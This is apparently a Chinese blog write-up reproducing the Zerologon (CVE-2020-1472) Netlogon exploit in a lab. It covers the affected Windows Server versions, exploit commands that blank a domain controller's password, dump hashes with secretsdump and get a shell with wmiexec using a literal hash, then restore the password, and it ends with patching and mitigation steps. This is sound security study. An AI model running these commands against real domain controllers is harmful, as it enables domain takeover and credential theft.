简介:
Netlogon是Windows中用于为域控制器注册所有SRV资源记录的服务。提供用户和机器在域内网络上的认证与复制数据库进行域控备份,还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系
攻击者需在与目标相同的局域网(LAN)上的计算机进行利用,未经身份验证的攻击者通过NetLogon远程协议(MS-NRPC)建立与域控制器连接的 安全通道时,可利用此漏洞获取域管理员访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序
攻击者利用该漏洞可以操作Netlogon 认证过程:
伪装成网络中的任意一台计算机的身份来认证域控制器;
禁用Netlogon 认证过程的安全特征;
在域控制器的活动目录Active Directory 中修改计算机的密码。
影响范围:
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
复现环境:
靶机:192.168.107.137(Windows Server 2012 R2)
攻击机:192.168.107.129(Kali)
物理机:172.17.82.57(Windows 10)

漏洞检测:
项目地址:https://github.com/SecuraBV/CVE-2020-1472

漏洞利用:
利用思路:
利用EXP置空域控密码 --- 获得用户hash --- 通过hash取得一个shell --- 获得机器保存的原hash ---通过获得的hash恢复置空域控密码
这里我们得安装好impacket,否则运行exp会报错:
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
python3 setup.py install
安装失败问题也不大,直接pip3 install impacket
项目地址:https://github.com/dirkjanm/CVE-2020-1472
1、将域控密码置空:
python cve-2020-1472-exploit.py DC 192.168.107.137

2、获得域控上的hash:
python secretsdump.py tester.local/DC$@192.168.107.137 -no-pass

3、利用获得的用户hash来登录域控:
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:6579a83c0128c96d1000edcb01ff2038 tester.lo cal/administrator@192.168.107.137

不打码了,老实说这个密码太复杂我自己都忘了,欢迎爆破枚举~
4、导出sam等文件到本地,获得域控上边本地保存的置空前的hash:

5、通过sam等文件获得原ntlm hash,并获取明文密码:
python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

6、恢复原hash并进行验证:
这里解释下为什么要恢复hash:
对于域控制器来说,当计算机hash更改时会直接影响与其他域控制器的通信和该域控上的功能(例如:DNS服务等)
项目地址:https://github.com/risksense/zerologon
python reinstall_original_pw.py DC 192.168.107.137 5687291381b5b0451f02aaab2b4be94d

验证hash恢复情况:
python secretsdump.py tester.local/DC$@192.168.107.137 -no-pass
此时已无法获取域控hash:


防御措施:
1、安装相应补丁:
项目地址:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472
注意:由于网络问题、计算机环境问题等原因,Windows Update的补丁更新可能出现失败。用户在安装补丁后,应及时检查补丁是否成功更新
针对未成功安装的更新,可点击更新名称跳转到微软官方下载页面,建议用户点击该页面上的链接,转到“Microsoft更新目录”网站下载独立程序包并安装。
2、通过部署域控制器 (DC) 强制模式以免受到该漏洞影响
详情请参考:如何管理与 CVE-2020-1472 相关联的 Netlogon 安全频道连接中的更改
复现是过了一遍,但是内网这一块我很菜的,复现过程中某些原理还没搞明白,待以后填坑~
参考如下:
【漏洞通告】Netlogon 特权提升漏洞(CVE-2020-1472)处置手册
微软修复了有史以来最严重的安全漏洞之一
微软NetLogon权限提升 CVE-2020-1472 漏洞复现
CVE-2020-1472 域内提权完整利用
网友评论